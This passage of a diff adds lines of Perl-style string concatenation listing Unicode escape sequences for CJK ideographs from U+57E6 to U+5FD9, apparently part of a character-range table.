+'\x{57E6}\x{57E7}\x{57E8}\x{57E9}\x{57EA}\x{57EB}\x{57EC}\x{57ED}\x{57EE}' .
+'\x{57EF}\x{57F0}\x{57F1}\x{57F2}\x{57F3}\x{57F4}\x{57F5}\x{57F6}\x{57F7}' .
+'\x{57F8}\x{57F9}\x{57FA}\x{57FB}\x{57FC}\x{57FD}\x{57FE}\x{57FF}\x{5800}' .
+'\x{5801}\x{5802}\x{5803}\x{5804}\x{5805}\x{5806}\x{5807}\x{5808}\x{5809}' .
+'\x{580A}\x{580B}\x{580C}\x{580D}\x{580E}\x{580F}\x{5810}\x{5811}\x{5812}' .
+'\x{5813}\x{5814}\x{5815}\x{5816}\x{5819}\x{581A}\x{581B}\x{581C}\x{581D}' .
+'\x{581E}\x{581F}\x{5820}\x{5821}\x{5822}\x{5823}\x{5824}\x{5825}\x{5826}' .
+'\x{5827}\x{5828}\x{5829}\x{582A}\x{582B}\x{582C}\x{582D}\x{582E}\x{582F}' .
+'\x{5830}\x{5831}\x{5832}\x{5833}\x{5834}\x{5835}\x{5836}\x{5837}\x{5838}' .
+'\x{5839}\x{583A}\x{583B}\x{583C}\x{583D}\x{583E}\x{583F}\x{5840}\x{5842}' .
+'\x{5843}\x{5844}\x{5845}\x{5846}\x{5847}\x{5848}\x{5849}\x{584A}\x{584B}' .
+'\x{584C}\x{584D}\x{584E}\x{584F}\x{5851}\x{5852}\x{5853}\x{5854}\x{5855}' .
+'\x{5857}\x{5858}\x{5859}\x{585A}\x{585B}\x{585C}\x{585D}\x{585E}\x{585F}' .
+'\x{5861}\x{5862}\x{5863}\x{5864}\x{5865}\x{5868}\x{5869}\x{586A}\x{586B}' .
+'\x{586C}\x{586D}\x{586E}\x{586F}\x{5870}\x{5871}\x{5872}\x{5873}\x{5874}' .
+'\x{5875}\x{5876}\x{5878}\x{5879}\x{587A}\x{587B}\x{587C}\x{587D}\x{587E}' .
+'\x{587F}\x{5880}\x{5881}\x{5882}\x{5883}\x{5884}\x{5885}\x{5886}\x{5887}' .
+'\x{5888}\x{5889}\x{588A}\x{588B}\x{588C}\x{588D}\x{588E}\x{588F}\x{5890}' .
+'\x{5891}\x{5892}\x{5893}\x{5894}\x{5896}\x{5897}\x{5898}\x{5899}\x{589A}' .
+'\x{589B}\x{589C}\x{589D}\x{589E}\x{589F}\x{58A0}\x{58A1}\x{58A2}\x{58A3}' .
+'\x{58A4}\x{58A5}\x{58A6}\x{58A7}\x{58A8}\x{58A9}\x{58AB}\x{58AC}\x{58AD}' .
+'\x{58AE}\x{58AF}\x{58B0}\x{58B1}\x{58B2}\x{58B3}\x{58B4}\x{58B7}\x{58B8}' .
+'\x{58B9}\x{58BA}\x{58BB}\x{58BC}\x{58BD}\x{58BE}\x{58BF}\x{58C1}\x{58C2}' .
+'\x{58C5}\x{58C6}\x{58C7}\x{58C8}\x{58C9}\x{58CA}\x{58CB}\x{58CE}\x{58CF}' .
+'\x{58D1}\x{58D2}\x{58D3}\x{58D4}\x{58D5}\x{58D6}\x{58D7}\x{58D8}\x{58D9}' .
+'\x{58DA}\x{58DB}\x{58DD}\x{58DE}\x{58DF}\x{58E0}\x{58E2}\x{58E3}\x{58E4}' .
+'\x{58E5}\x{58E7}\x{58E8}\x{58E9}\x{58EA}\x{58EB}\x{58EC}\x{58ED}\x{58EE}' .
+'\x{58EF}\x{58F0}\x{58F1}\x{58F2}\x{58F3}\x{58F4}\x{58F6}\x{58F7}\x{58F8}' .
+'\x{58F9}\x{58FA}\x{58FB}\x{58FC}\x{58FD}\x{58FE}\x{58FF}\x{5900}\x{5902}' .
+'\x{5903}\x{5904}\x{5906}\x{5907}\x{5909}\x{590A}\x{590B}\x{590C}\x{590D}' .
+'\x{590E}\x{590F}\x{5910}\x{5912}\x{5914}\x{5915}\x{5916}\x{5917}\x{5918}' .
+'\x{5919}\x{591A}\x{591B}\x{591C}\x{591D}\x{591E}\x{591F}\x{5920}\x{5921}' .
+'\x{5922}\x{5924}\x{5925}\x{5926}\x{5927}\x{5928}\x{5929}\x{592A}\x{592B}' .
+'\x{592C}\x{592D}\x{592E}\x{592F}\x{5930}\x{5931}\x{5932}\x{5934}\x{5935}' .
+'\x{5937}\x{5938}\x{5939}\x{593A}\x{593B}\x{593C}\x{593D}\x{593E}\x{593F}' .
+'\x{5940}\x{5941}\x{5942}\x{5943}\x{5944}\x{5945}\x{5946}\x{5947}\x{5948}' .
+'\x{5949}\x{594A}\x{594B}\x{594C}\x{594D}\x{594E}\x{594F}\x{5950}\x{5951}' .
+'\x{5952}\x{5953}\x{5954}\x{5955}\x{5956}\x{5957}\x{5958}\x{595A}\x{595C}' .
+'\x{595D}\x{595E}\x{595F}\x{5960}\x{5961}\x{5962}\x{5963}\x{5964}\x{5965}' .
+'\x{5966}\x{5967}\x{5968}\x{5969}\x{596A}\x{596B}\x{596C}\x{596D}\x{596E}' .
+'\x{596F}\x{5970}\x{5971}\x{5972}\x{5973}\x{5974}\x{5975}\x{5976}\x{5977}' .
+'\x{5978}\x{5979}\x{597A}\x{597B}\x{597C}\x{597D}\x{597E}\x{597F}\x{5980}' .
+'\x{5981}\x{5982}\x{5983}\x{5984}\x{5985}\x{5986}\x{5987}\x{5988}\x{5989}' .
+'\x{598A}\x{598B}\x{598C}\x{598D}\x{598E}\x{598F}\x{5990}\x{5991}\x{5992}' .
+'\x{5993}\x{5994}\x{5995}\x{5996}\x{5997}\x{5998}\x{5999}\x{599A}\x{599C}' .
+'\x{599D}\x{599E}\x{599F}\x{59A0}\x{59A1}\x{59A2}\x{59A3}\x{59A4}\x{59A5}' .
+'\x{59A6}\x{59A7}\x{59A8}\x{59A9}\x{59AA}\x{59AB}\x{59AC}\x{59AD}\x{59AE}' .
+'\x{59AF}\x{59B0}\x{59B1}\x{59B2}\x{59B3}\x{59B4}\x{59B5}\x{59B6}\x{59B8}' .
+'\x{59B9}\x{59BA}\x{59BB}\x{59BC}\x{59BD}\x{59BE}\x{59BF}\x{59C0}\x{59C1}' .
+'\x{59C2}\x{59C3}\x{59C4}\x{59C5}\x{59C6}\x{59C7}\x{59C8}\x{59C9}\x{59CA}' .
+'\x{59CB}\x{59CC}\x{59CD}\x{59CE}\x{59CF}\x{59D0}\x{59D1}\x{59D2}\x{59D3}' .
+'\x{59D4}\x{59D5}\x{59D6}\x{59D7}\x{59D8}\x{59D9}\x{59DA}\x{59DB}\x{59DC}' .
+'\x{59DD}\x{59DE}\x{59DF}\x{59E0}\x{59E1}\x{59E2}\x{59E3}\x{59E4}\x{59E5}' .
+'\x{59E6}\x{59E8}\x{59E9}\x{59EA}\x{59EB}\x{59EC}\x{59ED}\x{59EE}\x{59EF}' .
+'\x{59F0}\x{59F1}\x{59F2}\x{59F3}\x{59F4}\x{59F5}\x{59F6}\x{59F7}\x{59F8}' .
+'\x{59F9}\x{59FA}\x{59FB}\x{59FC}\x{59FD}\x{59FE}\x{59FF}\x{5A00}\x{5A01}' .
+'\x{5A02}\x{5A03}\x{5A04}\x{5A05}\x{5A06}\x{5A07}\x{5A08}\x{5A09}\x{5A0A}' .
+'\x{5A0B}\x{5A0C}\x{5A0D}\x{5A0E}\x{5A0F}\x{5A10}\x{5A11}\x{5A12}\x{5A13}' .
+'\x{5A14}\x{5A15}\x{5A16}\x{5A17}\x{5A18}\x{5A19}\x{5A1A}\x{5A1B}\x{5A1C}' .
+'\x{5A1D}\x{5A1E}\x{5A1F}\x{5A20}\x{5A21}\x{5A22}\x{5A23}\x{5A25}\x{5A27}' .
+'\x{5A28}\x{5A29}\x{5A2A}\x{5A2B}\x{5A2D}\x{5A2E}\x{5A2F}\x{5A31}\x{5A32}' .
+'\x{5A33}\x{5A34}\x{5A35}\x{5A36}\x{5A37}\x{5A38}\x{5A39}\x{5A3A}\x{5A3B}' .
+'\x{5A3C}\x{5A3D}\x{5A3E}\x{5A3F}\x{5A40}\x{5A41}\x{5A42}\x{5A43}\x{5A44}' .
+'\x{5A45}\x{5A46}\x{5A47}\x{5A48}\x{5A49}\x{5A4A}\x{5A4B}\x{5A4C}\x{5A4D}' .
+'\x{5A4E}\x{5A4F}\x{5A50}\x{5A51}\x{5A52}\x{5A53}\x{5A55}\x{5A56}\x{5A57}' .
+'\x{5A58}\x{5A5A}\x{5A5B}\x{5A5C}\x{5A5D}\x{5A5E}\x{5A5F}\x{5A60}\x{5A61}' .
+'\x{5A62}\x{5A63}\x{5A64}\x{5A65}\x{5A66}\x{5A67}\x{5A68}\x{5A69}\x{5A6A}' .
+'\x{5A6B}\x{5A6C}\x{5A6D}\x{5A6E}\x{5A70}\x{5A72}\x{5A73}\x{5A74}\x{5A75}' .
+'\x{5A76}\x{5A77}\x{5A78}\x{5A79}\x{5A7A}\x{5A7B}\x{5A7C}\x{5A7D}\x{5A7E}' .
+'\x{5A7F}\x{5A80}\x{5A81}\x{5A82}\x{5A83}\x{5A84}\x{5A85}\x{5A86}\x{5A88}' .
+'\x{5A89}\x{5A8A}\x{5A8B}\x{5A8C}\x{5A8E}\x{5A8F}\x{5A90}\x{5A91}\x{5A92}' .
+'\x{5A93}\x{5A94}\x{5A95}\x{5A96}\x{5A97}\x{5A98}\x{5A99}\x{5A9A}\x{5A9B}' .
+'\x{5A9C}\x{5A9D}\x{5A9E}\x{5A9F}\x{5AA0}\x{5AA1}\x{5AA2}\x{5AA3}\x{5AA4}' .
+'\x{5AA5}\x{5AA6}\x{5AA7}\x{5AA8}\x{5AA9}\x{5AAA}\x{5AAC}\x{5AAD}\x{5AAE}' .
+'\x{5AAF}\x{5AB0}\x{5AB1}\x{5AB2}\x{5AB3}\x{5AB4}\x{5AB5}\x{5AB6}\x{5AB7}' .
+'\x{5AB8}\x{5AB9}\x{5ABA}\x{5ABB}\x{5ABC}\x{5ABD}\x{5ABE}\x{5ABF}\x{5AC0}' .
+'\x{5AC1}\x{5AC2}\x{5AC3}\x{5AC4}\x{5AC5}\x{5AC6}\x{5AC7}\x{5AC8}\x{5AC9}' .
+'\x{5ACA}\x{5ACB}\x{5ACC}\x{5ACD}\x{5ACE}\x{5ACF}\x{5AD1}\x{5AD2}\x{5AD4}' .
+'\x{5AD5}\x{5AD6}\x{5AD7}\x{5AD8}\x{5AD9}\x{5ADA}\x{5ADB}\x{5ADC}\x{5ADD}' .
+'\x{5ADE}\x{5ADF}\x{5AE0}\x{5AE1}\x{5AE2}\x{5AE3}\x{5AE4}\x{5AE5}\x{5AE6}' .
+'\x{5AE7}\x{5AE8}\x{5AE9}\x{5AEA}\x{5AEB}\x{5AEC}\x{5AED}\x{5AEE}\x{5AF1}' .
+'\x{5AF2}\x{5AF3}\x{5AF4}\x{5AF5}\x{5AF6}\x{5AF7}\x{5AF8}\x{5AF9}\x{5AFA}' .
+'\x{5AFB}\x{5AFC}\x{5AFD}\x{5AFE}\x{5AFF}\x{5B00}\x{5B01}\x{5B02}\x{5B03}' .
+'\x{5B04}\x{5B05}\x{5B06}\x{5B07}\x{5B08}\x{5B09}\x{5B0B}\x{5B0C}\x{5B0E}' .
+'\x{5B0F}\x{5B10}\x{5B11}\x{5B12}\x{5B13}\x{5B14}\x{5B15}\x{5B16}\x{5B17}' .
+'\x{5B18}\x{5B19}\x{5B1A}\x{5B1B}\x{5B1C}\x{5B1D}\x{5B1E}\x{5B1F}\x{5B20}' .
+'\x{5B21}\x{5B22}\x{5B23}\x{5B24}\x{5B25}\x{5B26}\x{5B27}\x{5B28}\x{5B29}' .
+'\x{5B2A}\x{5B2B}\x{5B2C}\x{5B2D}\x{5B2E}\x{5B2F}\x{5B30}\x{5B31}\x{5B32}' .
+'\x{5B33}\x{5B34}\x{5B35}\x{5B36}\x{5B37}\x{5B38}\x{5B3A}\x{5B3B}\x{5B3C}' .
+'\x{5B3D}\x{5B3E}\x{5B3F}\x{5B40}\x{5B41}\x{5B42}\x{5B43}\x{5B44}\x{5B45}' .
+'\x{5B47}\x{5B48}\x{5B49}\x{5B4A}\x{5B4B}\x{5B4C}\x{5B4D}\x{5B4E}\x{5B50}' .
+'\x{5B51}\x{5B53}\x{5B54}\x{5B55}\x{5B56}\x{5B57}\x{5B58}\x{5B59}\x{5B5A}' .
+'\x{5B5B}\x{5B5C}\x{5B5D}\x{5B5E}\x{5B5F}\x{5B62}\x{5B63}\x{5B64}\x{5B65}' .
+'\x{5B66}\x{5B67}\x{5B68}\x{5B69}\x{5B6A}\x{5B6B}\x{5B6C}\x{5B6D}\x{5B6E}' .
+'\x{5B70}\x{5B71}\x{5B72}\x{5B73}\x{5B74}\x{5B75}\x{5B76}\x{5B77}\x{5B78}' .
+'\x{5B7A}\x{5B7B}\x{5B7C}\x{5B7D}\x{5B7F}\x{5B80}\x{5B81}\x{5B82}\x{5B83}' .
+'\x{5B84}\x{5B85}\x{5B87}\x{5B88}\x{5B89}\x{5B8A}\x{5B8B}\x{5B8C}\x{5B8D}' .
+'\x{5B8E}\x{5B8F}\x{5B91}\x{5B92}\x{5B93}\x{5B94}\x{5B95}\x{5B96}\x{5B97}' .
+'\x{5B98}\x{5B99}\x{5B9A}\x{5B9B}\x{5B9C}\x{5B9D}\x{5B9E}\x{5B9F}\x{5BA0}' .
+'\x{5BA1}\x{5BA2}\x{5BA3}\x{5BA4}\x{5BA5}\x{5BA6}\x{5BA7}\x{5BA8}\x{5BAA}' .
+'\x{5BAB}\x{5BAC}\x{5BAD}\x{5BAE}\x{5BAF}\x{5BB0}\x{5BB1}\x{5BB3}\x{5BB4}' .
+'\x{5BB5}\x{5BB6}\x{5BB8}\x{5BB9}\x{5BBA}\x{5BBB}\x{5BBD}\x{5BBE}\x{5BBF}' .
+'\x{5BC0}\x{5BC1}\x{5BC2}\x{5BC3}\x{5BC4}\x{5BC5}\x{5BC6}\x{5BC7}\x{5BCA}' .
+'\x{5BCB}\x{5BCC}\x{5BCD}\x{5BCE}\x{5BCF}\x{5BD0}\x{5BD1}\x{5BD2}\x{5BD3}' .
+'\x{5BD4}\x{5BD5}\x{5BD6}\x{5BD8}\x{5BD9}\x{5BDB}\x{5BDC}\x{5BDD}\x{5BDE}' .
+'\x{5BDF}\x{5BE0}\x{5BE1}\x{5BE2}\x{5BE3}\x{5BE4}\x{5BE5}\x{5BE6}\x{5BE7}' .
+'\x{5BE8}\x{5BE9}\x{5BEA}\x{5BEB}\x{5BEC}\x{5BED}\x{5BEE}\x{5BEF}\x{5BF0}' .
+'\x{5BF1}\x{5BF2}\x{5BF3}\x{5BF4}\x{5BF5}\x{5BF6}\x{5BF7}\x{5BF8}\x{5BF9}' .
+'\x{5BFA}\x{5BFB}\x{5BFC}\x{5BFD}\x{5BFF}\x{5C01}\x{5C03}\x{5C04}\x{5C05}' .
+'\x{5C06}\x{5C07}\x{5C08}\x{5C09}\x{5C0A}\x{5C0B}\x{5C0C}\x{5C0D}\x{5C0E}' .
+'\x{5C0F}\x{5C10}\x{5C11}\x{5C12}\x{5C13}\x{5C14}\x{5C15}\x{5C16}\x{5C17}' .
+'\x{5C18}\x{5C19}\x{5C1A}\x{5C1C}\x{5C1D}\x{5C1E}\x{5C1F}\x{5C20}\x{5C21}' .
+'\x{5C22}\x{5C24}\x{5C25}\x{5C27}\x{5C28}\x{5C2A}\x{5C2B}\x{5C2C}\x{5C2D}' .
+'\x{5C2E}\x{5C2F}\x{5C30}\x{5C31}\x{5C32}\x{5C33}\x{5C34}\x{5C35}\x{5C37}' .
+'\x{5C38}\x{5C39}\x{5C3A}\x{5C3B}\x{5C3C}\x{5C3D}\x{5C3E}\x{5C3F}\x{5C40}' .
+'\x{5C41}\x{5C42}\x{5C43}\x{5C44}\x{5C45}\x{5C46}\x{5C47}\x{5C48}\x{5C49}' .
+'\x{5C4A}\x{5C4B}\x{5C4C}\x{5C4D}\x{5C4E}\x{5C4F}\x{5C50}\x{5C51}\x{5C52}' .
+'\x{5C53}\x{5C54}\x{5C55}\x{5C56}\x{5C57}\x{5C58}\x{5C59}\x{5C5B}\x{5C5C}' .
+'\x{5C5D}\x{5C5E}\x{5C5F}\x{5C60}\x{5C61}\x{5C62}\x{5C63}\x{5C64}\x{5C65}' .
+'\x{5C66}\x{5C67}\x{5C68}\x{5C69}\x{5C6A}\x{5C6B}\x{5C6C}\x{5C6D}\x{5C6E}' .
+'\x{5C6F}\x{5C70}\x{5C71}\x{5C72}\x{5C73}\x{5C74}\x{5C75}\x{5C76}\x{5C77}' .
+'\x{5C78}\x{5C79}\x{5C7A}\x{5C7B}\x{5C7C}\x{5C7D}\x{5C7E}\x{5C7F}\x{5C80}' .
+'\x{5C81}\x{5C82}\x{5C83}\x{5C84}\x{5C86}\x{5C87}\x{5C88}\x{5C89}\x{5C8A}' .
+'\x{5C8B}\x{5C8C}\x{5C8D}\x{5C8E}\x{5C8F}\x{5C90}\x{5C91}\x{5C92}\x{5C93}' .
+'\x{5C94}\x{5C95}\x{5C96}\x{5C97}\x{5C98}\x{5C99}\x{5C9A}\x{5C9B}\x{5C9C}' .
+'\x{5C9D}\x{5C9E}\x{5C9F}\x{5CA0}\x{5CA1}\x{5CA2}\x{5CA3}\x{5CA4}\x{5CA5}' .
+'\x{5CA6}\x{5CA7}\x{5CA8}\x{5CA9}\x{5CAA}\x{5CAB}\x{5CAC}\x{5CAD}\x{5CAE}' .
+'\x{5CAF}\x{5CB0}\x{5CB1}\x{5CB2}\x{5CB3}\x{5CB5}\x{5CB6}\x{5CB7}\x{5CB8}' .
+'\x{5CBA}\x{5CBB}\x{5CBC}\x{5CBD}\x{5CBE}\x{5CBF}\x{5CC1}\x{5CC2}\x{5CC3}' .
+'\x{5CC4}\x{5CC5}\x{5CC6}\x{5CC7}\x{5CC8}\x{5CC9}\x{5CCA}\x{5CCB}\x{5CCC}' .
+'\x{5CCD}\x{5CCE}\x{5CCF}\x{5CD0}\x{5CD1}\x{5CD2}\x{5CD3}\x{5CD4}\x{5CD6}' .
+'\x{5CD7}\x{5CD8}\x{5CD9}\x{5CDA}\x{5CDB}\x{5CDC}\x{5CDE}\x{5CDF}\x{5CE0}' .
+'\x{5CE1}\x{5CE2}\x{5CE3}\x{5CE4}\x{5CE5}\x{5CE6}\x{5CE7}\x{5CE8}\x{5CE9}' .
+'\x{5CEA}\x{5CEB}\x{5CEC}\x{5CED}\x{5CEE}\x{5CEF}\x{5CF0}\x{5CF1}\x{5CF2}' .
+'\x{5CF3}\x{5CF4}\x{5CF6}\x{5CF7}\x{5CF8}\x{5CF9}\x{5CFA}\x{5CFB}\x{5CFC}' .
+'\x{5CFD}\x{5CFE}\x{5CFF}\x{5D00}\x{5D01}\x{5D02}\x{5D03}\x{5D04}\x{5D05}' .
+'\x{5D06}\x{5D07}\x{5D08}\x{5D09}\x{5D0A}\x{5D0B}\x{5D0C}\x{5D0D}\x{5D0E}' .
+'\x{5D0F}\x{5D10}\x{5D11}\x{5D12}\x{5D13}\x{5D14}\x{5D15}\x{5D16}\x{5D17}' .
+'\x{5D18}\x{5D19}\x{5D1A}\x{5D1B}\x{5D1C}\x{5D1D}\x{5D1E}\x{5D1F}\x{5D20}' .
+'\x{5D21}\x{5D22}\x{5D23}\x{5D24}\x{5D25}\x{5D26}\x{5D27}\x{5D28}\x{5D29}' .
+'\x{5D2A}\x{5D2C}\x{5D2D}\x{5D2E}\x{5D30}\x{5D31}\x{5D32}\x{5D33}\x{5D34}' .
+'\x{5D35}\x{5D36}\x{5D37}\x{5D38}\x{5D39}\x{5D3A}\x{5D3C}\x{5D3D}\x{5D3E}' .
+'\x{5D3F}\x{5D40}\x{5D41}\x{5D42}\x{5D43}\x{5D44}\x{5D45}\x{5D46}\x{5D47}' .
+'\x{5D48}\x{5D49}\x{5D4A}\x{5D4B}\x{5D4C}\x{5D4D}\x{5D4E}\x{5D4F}\x{5D50}' .
+'\x{5D51}\x{5D52}\x{5D54}\x{5D55}\x{5D56}\x{5D58}\x{5D59}\x{5D5A}\x{5D5B}' .
+'\x{5D5D}\x{5D5E}\x{5D5F}\x{5D61}\x{5D62}\x{5D63}\x{5D64}\x{5D65}\x{5D66}' .
+'\x{5D67}\x{5D68}\x{5D69}\x{5D6A}\x{5D6B}\x{5D6C}\x{5D6D}\x{5D6E}\x{5D6F}' .
+'\x{5D70}\x{5D71}\x{5D72}\x{5D73}\x{5D74}\x{5D75}\x{5D76}\x{5D77}\x{5D78}' .
+'\x{5D79}\x{5D7A}\x{5D7B}\x{5D7C}\x{5D7D}\x{5D7E}\x{5D7F}\x{5D80}\x{5D81}' .
+'\x{5D82}\x{5D84}\x{5D85}\x{5D86}\x{5D87}\x{5D88}\x{5D89}\x{5D8A}\x{5D8B}' .
+'\x{5D8C}\x{5D8D}\x{5D8E}\x{5D8F}\x{5D90}\x{5D91}\x{5D92}\x{5D93}\x{5D94}' .
+'\x{5D95}\x{5D97}\x{5D98}\x{5D99}\x{5D9A}\x{5D9B}\x{5D9C}\x{5D9D}\x{5D9E}' .
+'\x{5D9F}\x{5DA0}\x{5DA1}\x{5DA2}\x{5DA5}\x{5DA6}\x{5DA7}\x{5DA8}\x{5DA9}' .
+'\x{5DAA}\x{5DAC}\x{5DAD}\x{5DAE}\x{5DAF}\x{5DB0}\x{5DB1}\x{5DB2}\x{5DB4}' .
+'\x{5DB5}\x{5DB6}\x{5DB7}\x{5DB8}\x{5DBA}\x{5DBB}\x{5DBC}\x{5DBD}\x{5DBE}' .
+'\x{5DBF}\x{5DC0}\x{5DC1}\x{5DC2}\x{5DC3}\x{5DC5}\x{5DC6}\x{5DC7}\x{5DC8}' .
+'\x{5DC9}\x{5DCA}\x{5DCB}\x{5DCC}\x{5DCD}\x{5DCE}\x{5DCF}\x{5DD0}\x{5DD1}' .
+'\x{5DD2}\x{5DD3}\x{5DD4}\x{5DD5}\x{5DD6}\x{5DD8}\x{5DD9}\x{5DDB}\x{5DDD}' .
+'\x{5DDE}\x{5DDF}\x{5DE0}\x{5DE1}\x{5DE2}\x{5DE3}\x{5DE4}\x{5DE5}\x{5DE6}' .
+'\x{5DE7}\x{5DE8}\x{5DE9}\x{5DEA}\x{5DEB}\x{5DEC}\x{5DED}\x{5DEE}\x{5DEF}' .
+'\x{5DF0}\x{5DF1}\x{5DF2}\x{5DF3}\x{5DF4}\x{5DF5}\x{5DF7}\x{5DF8}\x{5DF9}' .
+'\x{5DFA}\x{5DFB}\x{5DFC}\x{5DFD}\x{5DFE}\x{5DFF}\x{5E00}\x{5E01}\x{5E02}' .
+'\x{5E03}\x{5E04}\x{5E05}\x{5E06}\x{5E07}\x{5E08}\x{5E09}\x{5E0A}\x{5E0B}' .
+'\x{5E0C}\x{5E0D}\x{5E0E}\x{5E0F}\x{5E10}\x{5E11}\x{5E13}\x{5E14}\x{5E15}' .
+'\x{5E16}\x{5E17}\x{5E18}\x{5E19}\x{5E1A}\x{5E1B}\x{5E1C}\x{5E1D}\x{5E1E}' .
+'\x{5E1F}\x{5E20}\x{5E21}\x{5E22}\x{5E23}\x{5E24}\x{5E25}\x{5E26}\x{5E27}' .
+'\x{5E28}\x{5E29}\x{5E2A}\x{5E2B}\x{5E2C}\x{5E2D}\x{5E2E}\x{5E2F}\x{5E30}' .
+'\x{5E31}\x{5E32}\x{5E33}\x{5E34}\x{5E35}\x{5E36}\x{5E37}\x{5E38}\x{5E39}' .
+'\x{5E3A}\x{5E3B}\x{5E3C}\x{5E3D}\x{5E3E}\x{5E40}\x{5E41}\x{5E42}\x{5E43}' .
+'\x{5E44}\x{5E45}\x{5E46}\x{5E47}\x{5E49}\x{5E4A}\x{5E4B}\x{5E4C}\x{5E4D}' .
+'\x{5E4E}\x{5E4F}\x{5E50}\x{5E52}\x{5E53}\x{5E54}\x{5E55}\x{5E56}\x{5E57}' .
+'\x{5E58}\x{5E59}\x{5E5A}\x{5E5B}\x{5E5C}\x{5E5D}\x{5E5E}\x{5E5F}\x{5E60}' .
+'\x{5E61}\x{5E62}\x{5E63}\x{5E64}\x{5E65}\x{5E66}\x{5E67}\x{5E68}\x{5E69}' .
+'\x{5E6A}\x{5E6B}\x{5E6C}\x{5E6D}\x{5E6E}\x{5E6F}\x{5E70}\x{5E71}\x{5E72}' .
+'\x{5E73}\x{5E74}\x{5E75}\x{5E76}\x{5E77}\x{5E78}\x{5E79}\x{5E7A}\x{5E7B}' .
+'\x{5E7C}\x{5E7D}\x{5E7E}\x{5E7F}\x{5E80}\x{5E81}\x{5E82}\x{5E83}\x{5E84}' .
+'\x{5E85}\x{5E86}\x{5E87}\x{5E88}\x{5E89}\x{5E8A}\x{5E8B}\x{5E8C}\x{5E8D}' .
+'\x{5E8E}\x{5E8F}\x{5E90}\x{5E91}\x{5E93}\x{5E94}\x{5E95}\x{5E96}\x{5E97}' .
+'\x{5E98}\x{5E99}\x{5E9A}\x{5E9B}\x{5E9C}\x{5E9D}\x{5E9E}\x{5E9F}\x{5EA0}' .
+'\x{5EA1}\x{5EA2}\x{5EA3}\x{5EA4}\x{5EA5}\x{5EA6}\x{5EA7}\x{5EA8}\x{5EA9}' .
+'\x{5EAA}\x{5EAB}\x{5EAC}\x{5EAD}\x{5EAE}\x{5EAF}\x{5EB0}\x{5EB1}\x{5EB2}' .
+'\x{5EB3}\x{5EB4}\x{5EB5}\x{5EB6}\x{5EB7}\x{5EB8}\x{5EB9}\x{5EBB}\x{5EBC}' .
+'\x{5EBD}\x{5EBE}\x{5EBF}\x{5EC1}\x{5EC2}\x{5EC3}\x{5EC4}\x{5EC5}\x{5EC6}' .
+'\x{5EC7}\x{5EC8}\x{5EC9}\x{5ECA}\x{5ECB}\x{5ECC}\x{5ECD}\x{5ECE}\x{5ECF}' .
+'\x{5ED0}\x{5ED1}\x{5ED2}\x{5ED3}\x{5ED4}\x{5ED5}\x{5ED6}\x{5ED7}\x{5ED8}' .
+'\x{5ED9}\x{5EDA}\x{5EDB}\x{5EDC}\x{5EDD}\x{5EDE}\x{5EDF}\x{5EE0}\x{5EE1}' .
+'\x{5EE2}\x{5EE3}\x{5EE4}\x{5EE5}\x{5EE6}\x{5EE7}\x{5EE8}\x{5EE9}\x{5EEA}' .
+'\x{5EEC}\x{5EED}\x{5EEE}\x{5EEF}\x{5EF0}\x{5EF1}\x{5EF2}\x{5EF3}\x{5EF4}' .
+'\x{5EF5}\x{5EF6}\x{5EF7}\x{5EF8}\x{5EFA}\x{5EFB}\x{5EFC}\x{5EFD}\x{5EFE}' .
+'\x{5EFF}\x{5F00}\x{5F01}\x{5F02}\x{5F03}\x{5F04}\x{5F05}\x{5F06}\x{5F07}' .
+'\x{5F08}\x{5F0A}\x{5F0B}\x{5F0C}\x{5F0D}\x{5F0F}\x{5F11}\x{5F12}\x{5F13}' .
+'\x{5F14}\x{5F15}\x{5F16}\x{5F17}\x{5F18}\x{5F19}\x{5F1A}\x{5F1B}\x{5F1C}' .
+'\x{5F1D}\x{5F1E}\x{5F1F}\x{5F20}\x{5F21}\x{5F22}\x{5F23}\x{5F24}\x{5F25}' .
+'\x{5F26}\x{5F27}\x{5F28}\x{5F29}\x{5F2A}\x{5F2B}\x{5F2C}\x{5F2D}\x{5F2E}' .
+'\x{5F2F}\x{5F30}\x{5F31}\x{5F32}\x{5F33}\x{5F34}\x{5F35}\x{5F36}\x{5F37}' .
+'\x{5F38}\x{5F39}\x{5F3A}\x{5F3C}\x{5F3E}\x{5F3F}\x{5F40}\x{5F41}\x{5F42}' .
+'\x{5F43}\x{5F44}\x{5F45}\x{5F46}\x{5F47}\x{5F48}\x{5F49}\x{5F4A}\x{5F4B}' .
+'\x{5F4C}\x{5F4D}\x{5F4E}\x{5F4F}\x{5F50}\x{5F51}\x{5F52}\x{5F53}\x{5F54}' .
+'\x{5F55}\x{5F56}\x{5F57}\x{5F58}\x{5F59}\x{5F5A}\x{5F5B}\x{5F5C}\x{5F5D}' .
+'\x{5F5E}\x{5F5F}\x{5F60}\x{5F61}\x{5F62}\x{5F63}\x{5F64}\x{5F65}\x{5F66}' .
+'\x{5F67}\x{5F68}\x{5F69}\x{5F6A}\x{5F6B}\x{5F6C}\x{5F6D}\x{5F6E}\x{5F6F}' .
+'\x{5F70}\x{5F71}\x{5F72}\x{5F73}\x{5F74}\x{5F75}\x{5F76}\x{5F77}\x{5F78}' .
+'\x{5F79}\x{5F7A}\x{5F7B}\x{5F7C}\x{5F7D}\x{5F7E}\x{5F7F}\x{5F80}\x{5F81}' .
+'\x{5F82}\x{5F83}\x{5F84}\x{5F85}\x{5F86}\x{5F87}\x{5F88}\x{5F89}\x{5F8A}' .
+'\x{5F8B}\x{5F8C}\x{5F8D}\x{5F8E}\x{5F90}\x{5F91}\x{5F92}\x{5F93}\x{5F94}' .
+'\x{5F95}\x{5F96}\x{5F97}\x{5F98}\x{5F99}\x{5F9B}\x{5F9C}\x{5F9D}\x{5F9E}' .
+'\x{5F9F}\x{5FA0}\x{5FA1}\x{5FA2}\x{5FA5}\x{5FA6}\x{5FA7}\x{5FA8}\x{5FA9}' .
+'\x{5FAA}\x{5FAB}\x{5FAC}\x{5FAD}\x{5FAE}\x{5FAF}\x{5FB1}\x{5FB2}\x{5FB3}' .
+'\x{5FB4}\x{5FB5}\x{5FB6}\x{5FB7}\x{5FB8}\x{5FB9}\x{5FBA}\x{5FBB}\x{5FBC}' .
+'\x{5FBD}\x{5FBE}\x{5FBF}\x{5FC0}\x{5FC1}\x{5FC3}\x{5FC4}\x{5FC5}\x{5FC6}' .
+'\x{5FC7}\x{5FC8}\x{5FC9}\x{5FCA}\x{5FCB}\x{5FCC}\x{5FCD}\x{5FCF}\x{5FD0}' .
+'\x{5FD1}\x{5FD2}\x{5FD3}\x{5FD4}\x{5FD5}\x{5FD6}\x{5FD7}\x{5FD8}\x{5FD9}' .
